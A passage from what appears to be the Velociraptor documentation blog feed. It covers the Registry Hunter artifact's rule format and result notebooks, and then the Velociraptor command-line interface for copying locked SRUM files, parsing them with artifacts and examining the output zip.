&lt;code&gt;registry&lt;/code&gt;&#xA;accessor. For example, when a rule accesses the key&#xA;&lt;code&gt;HKEY_USERS\Administrator\Software&lt;/code&gt;, the key will be automatically&#xA;parsed from the &lt;code&gt;Software&lt;/code&gt; hive at &lt;code&gt;C:\Users\Administrator\NTUSER.dat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Depending on the remapping strategy some hives will be directly&#xA;accessible with the API, or remapped from raw registry hives:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;API&lt;/code&gt;: This strategy uses the API for most hives, except the&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\Security&lt;/code&gt; hive which is normally blocked with&#xA;the API. Additionally, the &lt;code&gt;SAM&lt;/code&gt; is mounted under &lt;code&gt;/SAM&lt;/code&gt; and&#xA;&lt;code&gt;Amcache&lt;/code&gt; under &lt;code&gt;/Amcache&lt;/code&gt; since these are not usually accessible&#xA;via the API.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This strategy will not be able to see users who are not logged&#xA;in, as it does not map the &lt;code&gt;ntuser.dat&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Using the API is a bit faster than parsing the raw reg hives so&#xA;this is recommended for frequent parsing or where performance is&#xA;important.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;API And NTUser.dat&lt;/code&gt;: This strategy uses the API as above, except it&#xA;also maps all the user&amp;rsquo;s &lt;code&gt;ntuser.dat&lt;/code&gt; files under the &lt;code&gt;/HKEY_USERS&lt;/code&gt;&#xA;key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Raw Hives&lt;/code&gt;: This strategy does not use the API, and instead maps&#xA;all raw hives into the same &lt;code&gt;registry&lt;/code&gt; accessor namespace.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The default remapping strategy is &lt;code&gt;API And NTUser.dat&lt;/code&gt; which is&#xA;suitable for direct remote collections. If you are collecting this&#xA;artifact on a dead-disk mount you will need to use the &lt;code&gt;Raw Hives&lt;/code&gt;&#xA;strategy to direct all registry API calls to raw registry parsing.&lt;/p&gt;&#xA;&lt;h3 id=&#34;importing-the-latest-version-of-the-registry-hunter-artifact&#34;&gt;Importing the latest version of the Registry Hunter artifact&lt;/h3&gt;&#xA;&lt;p&gt;To use the artifact you will need to import it into the server by&#xA;collecting the &lt;code&gt;Server.Import.RegistryHunter&lt;/code&gt; server artifact. This&#xA;ensures you have the latest version.&lt;/p&gt;&#xA;&lt;h3 id=&#34;collecting-the-artifact&#34;&gt;Collecting the artifact&lt;/h3&gt;&#xA;&lt;p&gt;When collecting the artifact from a remote system, you will be able to&#xA;select which rule categories to collect - by default all rules are&#xA;collected. The default remapping strategy is also selected here.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/hunting_the_registry.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Hunting the registry&#34;&#xA;         width=&#34;1750&#34; height=&#34;945&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunting_the_registry.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hunting the registry&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-rule-format&#34;&gt;The Rule format&lt;/h3&gt;&#xA;&lt;p&gt;Rules are specified as simple YAML clauses in a rule file. Here is the&#xA;rule that specifies the &lt;code&gt;SysInternals EULA&lt;/code&gt; detection.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- Author: Andrew Rathbun&#xA;  Description: Sysinternals&#xA;  Category: Installed Software&#xA;  Comment: Displays all SysInternals Tools that had the EULA accepted, indicating&#xA;    either execution of the tool or the Registry values were added intentionally prior&#xA;    to execution&#xA;  Glob: &#39;*\SOFTWARE\Sysinternals\*\EulaAccepted&#39;&#xA;  Root: HKEY_USERS&#xA;  Filter: NOT IsDir&#xA;  Details: |&#xA;    x=&amp;gt;dict(Program=x.OSPath[-2], FirstRunTimestamp=x.Mtime)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The search glob is split into a glob part and a &lt;code&gt;Root&lt;/code&gt; part. The&#xA;&lt;code&gt;Root&lt;/code&gt; refers to the place within the registry namespace where the&#xA;hive is mapped (more on this below).&lt;/p&gt;&#xA;&lt;p&gt;The registry hunter will compile this rule into a similar query to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;    SELECT Rule.Description AS Description,&#xA;           Rule.Category AS Category,&#xA;           OSPath, Mtime,&#xA;           eval(func=Metadata.Details) AS Details&#xA;    FROM glob(globs=Rule.Glob, root=Rule.Root, accessor=&amp;quot;registry&amp;quot;)&#xA;    WHERE eval(func=Rule.Filter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule will search the provided glob expression on the provided&#xA;root directory looking for values (the filter &lt;code&gt;x=&amp;gt;NOT IsDir&lt;/code&gt; captures&#xA;values and rejects keys).&lt;/p&gt;&#xA;&lt;p&gt;Matching values will cause the &lt;code&gt;Details&lt;/code&gt; function to be evaluated. The&#xA;&lt;code&gt;Details&lt;/code&gt; field contains a&#xA;VQL &lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/fundamentals/#vql-lambda-functions&#34;&gt;lambda function&lt;/a&gt;&#xA;that will be evaluated on the found keys or values. The following&#xA;values will be available:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;x.OSPath&lt;/code&gt; contains the OSPath of the matching registry key or value&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x.Mtime&lt;/code&gt; contains the Modification time of the key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The above example returns a dictionary documenting the program and&#xA;the modification time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/sysinternals_reg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Sysinternal hunt output&#34;&#xA;         width=&#34;1821&#34; height=&#34;676&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sysinternals_reg.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Sysinternal hunt output&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A more complex rule is the following which assembles the &lt;code&gt;Most Recently Used&lt;/code&gt; values in the &lt;code&gt;Run Box&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- Author: Andrew Rathbun&#xA;  Description: &amp;quot;RunMRU: Tracks commands from the Run box in the Start menu&amp;quot;&#xA;  Category: Program Execution&#xA;  Root: HKEY_USERS&#xA;  Glob: &#39;*\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&#39;&#xA;  Filter: x=&amp;gt;IsDir&#xA;  Preamble:&#xA;  - |&#xA;    LET CalculateMRU(OSPath) = SELECT GetValue(OSPath=OSPath + g1) AS value&#xA;        FROM parse_records_with_regex(accessor=&amp;quot;data&amp;quot;,&#xA;        file=GetValue(OSPath=OSPath + &amp;quot;MRUList&amp;quot;), regex=&amp;quot;(.)&amp;quot;)&#xA;&#xA;  - |&#xA;    LET FetchKeyValues(OSPath) = to_dict(item={&#xA;      SELECT Name AS _key, Data.value AS _value&#xA;      FROM glob(globs=&amp;quot;*&amp;quot;, accessor=&amp;quot;registry&amp;quot;, root=OSPath)&#xA;    })&#xA;&#xA;  Details: |&#xA;    x=&amp;gt;dict(MRU=CalculateMRU(OSPath=x.OSPath).value,&#xA;            All=FetchKeyValues(OSPath=x.OSPath))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/mru.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Calculating the MRU order&#34;&#xA;         width=&#34;1810&#34; height=&#34;486&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;mru.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Calculating the MRU order&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The similar &lt;code&gt;RECmd Batch&lt;/code&gt; rule actually relies on custom &lt;code&gt;C#&lt;/code&gt; code to&#xA;reassemble the MRU lists. This is problematic in practice because we&#xA;would need to rebuild and redeploy compiled code to the&#xA;endpoint. Instead it is much more efficient to implement the&#xA;reassembly algorithm in VQL and include it directly in this rule.&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hunter does rely on specialized processing or specific&#xA;registry plugins and simply implements all the complex parsing&#xA;directly in VQL - allowing us to upgrade the parsers on demand without&#xA;needing to recompile any code.&lt;/p&gt;&#xA;&lt;p&gt;Notice how the &lt;code&gt;Details&lt;/code&gt; lambda rule is able to reference helper&#xA;functions defined in the &lt;code&gt;Preamble&lt;/code&gt; section. This allows us to create&#xA;reusable VQL functions that can be used from many rules.&lt;/p&gt;&#xA;&lt;p&gt;You can see many helpful VQL functions defined in the preamble of the&#xA;common rule sets.&lt;/p&gt;&#xA;&lt;h2 id=&#34;presenting-the-results-of-the-analysis&#34;&gt;Presenting the results of the analysis&lt;/h2&gt;&#xA;&lt;p&gt;The Registry Hunter is designed to be a one shot, collect everything&#xA;type of artifact. This allows investigators to simply use it in all&#xA;cases and just view relevant results depending on their needs.&lt;/p&gt;&#xA;&lt;p&gt;To facilitate this use, the artifact creates a custom notebook&#xA;breaking the results by category. The user can then begin examining&#xA;the hits for each category that is relevant to the case.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/initial_notebook.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Initial notebook&#34;&#xA;         width=&#34;1913&#34; height=&#34;798&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;initial_notebook.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Initial notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose I was interested in anything that was related to&#xA;&lt;code&gt;PsExec&lt;/code&gt;, I would write a notebook query of the form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT Description, Category, OSPath AS Key, Mtime, Details FROM source()&#xA;WHERE Details =~ &amp;quot;psexec&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/hunting_for_psexec.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Isolating all psexec information&#34;&#xA;         width=&#34;1816&#34; height=&#34;623&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunting_for_psexec.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Isolating all psexec information&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This query will show all information that is vaguely related to&#xA;&lt;code&gt;PsExec&lt;/code&gt;, we see a number of corroborating evidence from the different&#xA;Rules:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Userassist&lt;/code&gt;, &lt;code&gt;AppCompatCache&lt;/code&gt; and &lt;code&gt;Sysinternals&lt;/code&gt; rule all match&lt;/li&gt;&#xA;&lt;li&gt;We can see when the program was initially installed, last used and&#xA;other interesting information.&lt;/li&gt;&#xA;&lt;li&gt;Note that here we collect multiple related results from multiple&#xA;categories.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The Registry Hunter is an unified artifact that compiles separate&#xA;rules hunting in the registry into a single, easy to collect and very&#xA;fast artifact. Long term we aim to consolidate all the discrete&#xA;registry based artifacts into this one artifact.&lt;/p&gt;&#xA;&lt;p&gt;We would really love to hear feedback or see contributions to the&#xA;Registry Hunter through our GitHub repository&#xA;&lt;a href=&#34;https://github.com/Velocidex/registry_hunter/&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/registry_hunter/&lt;/a&gt; and issue board. But you&#xA;can start using it right now if you would love to test it.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;The Registry Hunter uses newer VQL features available since release&#xA;0.72 and so will only work on clients newer than that version.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor CLI</title>
      <link>https://www.velociraptor-docs.org/blog/2026/2026-03-21-cli/</link>
      <pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2026/2026-03-21-cli/</guid>
      <description>&lt;p&gt;Digital forensics has always been a fast evolving field with newly&#xA;researched techniques announced frequently. Many single purpose DFIR&#xA;tools are published as a proof of concept or to parse specific file&#xA;formats.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s goal has always been to be the one stop shop for all&#xA;DFIR analysis and collection. Velociraptor has powerful capabilities&#xA;and is able to forensically parse and analyze many forensic&#xA;artifacts. Velociraptor can do this in a distributed way making it&#xA;easier to hunt across a large number of endpoints securely and&#xA;efficiently.&lt;/p&gt;&#xA;&lt;p&gt;However, Velociraptor&amp;rsquo;s powerful VQL language can seem overwhelming&#xA;for casual use. For many users a simple one purpose tool is preferable&#xA;to a large more complete framework like Velociraptor, because it is&#xA;perceived to be easier to use.&lt;/p&gt;&#xA;&lt;p&gt;This concern may be keeping many users from fully exploring&#xA;Velociraptor&amp;rsquo;s capabilities - it just might seem like an overkill to&#xA;install a Velociraptor client and server and learn new concepts like&#xA;VQL, Artifacts, analysis notebooks etc. It is sometimes just easier to&#xA;run a single use tool (for example &lt;code&gt;AmCacheParser.exe&lt;/code&gt; from the &lt;a href=&#34;#ZgotmplZ&#34; target=&#34;_blank&#34; &gt;EZ&#xA;Tools suite&lt;/a&gt; and produce&#xA;a CSV file that can be examined in a familiar tool like &lt;code&gt;Excel&lt;/code&gt;&#xA;quickly).&lt;/p&gt;&#xA;&lt;p&gt;What few people realize, however, is that Velociraptor is also capable&#xA;of single tool use! It is actually very simple to use it in this way&#xA;and it provides a set of powerful parsers and tools already built into&#xA;a single binary that can be launched from the command line - with no&#xA;need to install any other dependencies!&lt;/p&gt;&#xA;&lt;p&gt;Additionally, Velociraptor&amp;rsquo;s parsers are actively maintained and used&#xA;by a large community, solving the issue of some single use Ad-Hoc&#xA;tools becoming unmaintained over time.&lt;/p&gt;&#xA;&lt;p&gt;This blog post specifically focuses on using Velociraptor&amp;rsquo;s extensive&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/cli/&#34;&gt;Command Line Interface mode&lt;/a&gt; as a single&#xA;use tool. This allows users to replace a large number of scripts, and&#xA;adhoc tools with varying levels of maintainance and different&#xA;installation dependencies, with a single well maintained and&#xA;dependable solution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptor---the-dfir-swiss-army&#34;&gt;Velociraptor - The DFIR Swiss Army&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s suppose I am investigating a live Windows 11 System and I wanted&#xA;to copy out the &lt;code&gt;SRUDB.dat&lt;/code&gt; file so I can analyze the &lt;code&gt;SRUM&lt;/code&gt; database:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;copy c:\Windows\system32\sru\SRUDB.dat c:\output&#xA;The process cannot access the file because it is being used by another process.&#xA;        0 file(s) copied.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a pretty common issue - Since the file is in use right now,&#xA;this file is locked and can not be copied by the usual means. This&#xA;issue affects many important files like &lt;code&gt;NTUSER.DAT&lt;/code&gt; and the registry&#xA;hives.&lt;/p&gt;&#xA;&lt;p&gt;Some &lt;a href=&#34;https://github.com/MarkBaggett/srum-dump&#34; target=&#34;_blank&#34; &gt;SRUM analysis scripts&lt;/a&gt;&#xA;use &lt;code&gt;Volume Shadow Copies&lt;/code&gt; to access this locked file, but this is&#xA;problematic as it can trigger endpoint security software alerts or&#xA;even also be blocked.&lt;/p&gt;&#xA;&lt;p&gt;Other options include &lt;a href=&#34;#ZgotmplZ&#34; target=&#34;_blank&#34; &gt;RawCopy&lt;/a&gt;&#xA;but this is a binary only, closed source program.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can fall back to raw NTFS parsing when it can not access&#xA;a file. This does not trigger a new Volume Shadow Copy or require any&#xA;additional binaries. We can use the &lt;code&gt;fs cp&lt;/code&gt; command with the&#xA;&lt;code&gt;--accessor&lt;/code&gt; flag to have Velociraptor copy the file transparently,&#xA;bypassing local file locks.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;c:\velociraptor.exe fs cp c:\Windows\system32\sru\SRUDB.dat c:\output --accessor auto&#xA;&#xA;{&amp;quot;Name&amp;quot;:&amp;quot;SRUDB.dat&amp;quot;,&amp;quot;Size&amp;quot;:9568256,&amp;quot;Mode&amp;quot;:&amp;quot;-rw-rw-rw-&amp;quot;,&amp;quot;Mtime&amp;quot;:&amp;quot;2026-03-23T05:18:02.2159378Z&amp;quot;,&amp;quot;Data&amp;quot;:{},&amp;quot;Upload&amp;quot;:{&amp;quot;Path&amp;quot;:&amp;quot;\\\\?\\c:\\output\\SRUDB.dat&amp;quot;,&amp;quot;Size&amp;quot;:9474048,&amp;quot;UploadId&amp;quot;:0,&amp;quot;sha256&amp;quot;:&amp;quot;33a1c63b6cb863acf7c79e5d7881d09d7834052250502c05145fb95555495b69&amp;quot;,&amp;quot;md5&amp;quot;:&amp;quot;15491bbc80d63d751c8bcb0114458bce&amp;quot;,&amp;quot;Components&amp;quot;:[&amp;quot;SRUDB.dat&amp;quot;]}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;parsing-the-evidence&#34;&gt;Parsing the evidence&lt;/h2&gt;&#xA;&lt;p&gt;Copying files off the target system is all very well, but ultimately&#xA;we need to parse and analyze those files to get an insight of what&#xA;happened. Many DFIR tools, scripts and adhoc programs are available to&#xA;parse forensically relevant files. These tools have varied&#xA;installation dependencies and are often out of date and poorly&#xA;maintained.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the &lt;code&gt;SRUDB.dat&lt;/code&gt; file is actually a Microsoft JET&#xA;database (Also known as ESE) so we need a tool to view it. A common&#xA;GUI tool to view ESE files is&#xA;&lt;a href=&#34;https://www.nirsoft.net/utils/ese_database_view.html&#34; target=&#34;_blank&#34; &gt;EseDatabaseView&lt;/a&gt;&#xA;which can dump out all the tables. However for SRUM analysis we&#xA;typically need further parsing of the specific tables.&lt;/p&gt;&#xA;&lt;p&gt;One such parser is the&#xA;&lt;a href=&#34;https://github.com/EricZimmerman/Srum&#34; target=&#34;_blank&#34; &gt;SrumECMD&lt;/a&gt;. This parser uses&#xA;the Microsoft JET library to access the file, so it needs to run on&#xA;Windows, making it inconvenient to use. Additionally the files&#xA;need to be &amp;ldquo;repaired&amp;rdquo; to be opened by the JET library.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor parses files using &lt;code&gt;Artifacts&lt;/code&gt;. You can think of&#xA;artifacts as simply &lt;code&gt;VQL&lt;/code&gt; mini-programs. &lt;strong&gt;You do not need to&#xA;understand VQL to use Artifacts&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor allows artifacts to be run on the command line, just like&#xA;mini programs. You can search for the artifacts you need on the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/&#34;&gt;Artifacts Search Page&lt;/a&gt; to find&#xA;the &lt;code&gt;Windows.Forensics.SRUM&lt;/code&gt; artifact is the one used to parse SRUM&#xA;files. This artifact uses Velociraptor&amp;rsquo;s native ESE parser which does&#xA;not need any external libraries, or to &amp;ldquo;repair&amp;rdquo; the files. In&#xA;combination with the transparent NTFS access, the artifact simply&#xA;parses the existing file bypassing file locks transparently.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s artifacts produce structured output as JSON,CSV and&#xA;uploaded files. Usually we store all related files collected by an&#xA;artifact in a single ZIP file. Artifacts also accept parameters to&#xA;control the way they work.&lt;/p&gt;&#xA;&lt;p&gt;Running an artifact on the command line is done using the &lt;code&gt;-r&lt;/code&gt; flag&#xA;(also called &lt;code&gt;--run&lt;/code&gt;). We can see what parameters the&#xA;&lt;code&gt;Windows.Forensics.SRUM&lt;/code&gt; artifact will accept using the &lt;code&gt;-h&lt;/code&gt; flag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; c:\velociraptor.exe -r Windows.Forensics.SRUM -h&#xA;...&#xA;Artifact Parameters:&#xA; --SRUMLocation&#xA;   default: &#39;c:/windows/system32/sru/srudb.dat&#39;&#xA;...&#xA; --Upload [bool]&#xA;   Select to Upload the SRUM database file &#39;srudb.dat&#39;&#xA;&#xA;    Valid values: Y / N&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The artifact&amp;rsquo;s defaults are already set to the usual location of the&#xA;&lt;code&gt;srudb.dat&lt;/code&gt; file but we can override it if needed (for example to&#xA;parse the file we copied earlier). We can also tell the artifact to&#xA;upload (capture) the raw file as well. Let&amp;rsquo;s collect this artifact and&#xA;also get a copy of the raw &lt;code&gt;SRUDB.DAT&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;c:\velociraptor.exe -v -r Windows.Forensics.SRUM --Upload Y -o c:\output\test.zip --format csv&#xA;[INFO] 2026-03-22T23:17:02-07:00  _    __     __           _                  __&#xA;[INFO] 2026-03-22T23:17:02-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____&#xA;[INFO] 2026-03-22T23:17:02-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/&#xA;[INFO] 2026-03-22T23:17:02-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /&#xA;[INFO] 2026-03-22T23:17:02-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/&#xA;[INFO] 2026-03-22T23:17:02-07:00                                   /_/&#xA;[INFO] 2026-03-22T23:17:02-07:00 Digging deeper!                  https://www.velocidex.com&#xA;[INFO] 2026-03-22T23:17:02-07:00 This is Velociraptor 0.76.1 built on 2026-03-23T15:50:34+10:00 (ac68ce121)&#xA;[INFO] 2026-03-22T23:17:02-07:00 Env var VELOCIRAPTOR_API_CONFIG is not set&#xA;....&#xA;[INFO] 2026-03-22T23:17:03-07:00 Container hash 8c58132d5718a160c0ae786113580b8273b58a5bd584a4ff3f2f07f681b89305&#xA;[&#xA; {&#xA;   &amp;quot;Container&amp;quot;: &amp;quot;c:\\output\\test.zip&amp;quot;,&#xA;   &amp;quot;Error&amp;quot;: null&#xA; }&#xA;][INFO] 2026-03-22T23:17:03-07:00 Collection completed in 551.0932ms Seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using the &lt;code&gt;-v&lt;/code&gt; flag shows useful progress and debugging messages, but&#xA;finally Velociraptor will store the ZIP file containing all the&#xA;data. Adding the &lt;code&gt;--format csv&lt;/code&gt; flag will also include the structured&#xA;data in CSV format (so it can be analyzed with &lt;code&gt;Excel&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Encrypting the collection &#34;&gt;&lt;p&gt;You can specify a collection password with the &lt;code&gt;--password&lt;/code&gt; flag to&#xA;ensure the output zip is encrypted. This is useful in cases you need&#xA;to protect the sensitive data collected while transferring the ZIP&#xA;file off the system.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;examining-the-collection&#34;&gt;Examining the collection&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor exports collections into a standardized ZIP based&#xA;file. The file includes JSON and CSV formatted structured data, as&#xA;well as any bulk files collected.&lt;/p&gt;&#xA;&lt;p&gt;We can examine the content of the collection using any ZIP program,&#xA;but Velociraptor already comes with a zip program built in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;c:\velociraptor.exe unzip -l c:\output\test.zip&#xA;[&#xA; {&#xA;   &amp;quot;Filename&amp;quot;: &amp;quot;/uploads/auto/c%3A/windows/system32/sru/srudb.dat&amp;quot;,&#xA;   &amp;quot;Size&amp;quot;: 9568256&#xA; },&#xA; {&#xA;   &amp;quot;Filename&amp;quot;: &amp;quot;/results/Windows.Forensics.SRUM%2FApplication Resource Usage.csv&amp;quot;,&#xA;   &amp;quot;Size&amp;quot;: 147401&#xA; },&#xA; {&#xA;   &amp;quot;Filename&amp;quot;: &amp;quot;/results/Windows.Forensics.SRUM%2FApplication Resource Usage.json&amp;quot;,&#xA;   &amp;quot;Size&amp;quot;: 505150&#xA; },&#xA; ...&#xA; {&#xA;   &amp;quot;Filename&amp;quot;: &amp;quot;/results/Windows.Forensics.SRUM%2FExecution Stats.csv&amp;quot;,&#xA;   &amp;quot;Size&amp;quot;: 123137&#xA; },&#xA; {&#xA;   &amp;quot;Filename&amp;quot;: &amp;quot;/results/Windows.Forensics.SRUM%2FExecution Stats.json&amp;quot;,&#xA;   &amp;quot;Size&amp;quot;: 192357&#xA; },&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can see that the ZIP file contains the raw &lt;code&gt;srudb.dat&lt;/code&gt; file&#xA;(uploaded under the upload directory) as well as results collected&#xA;under the &lt;code&gt;results&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Extracting the collection &#34;&gt;&lt;p&gt;To just extract all the files from the zip file you can use the &lt;code&gt;unzip&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;velociraptor  unzip c:\output\test.zip --dump_dir c:\out_dir\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To only extract some of the data you can use a glob expression to specify a subset of files&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;velociraptor unzip c:\output\test.zip --dump_dir c:\out_dir\ 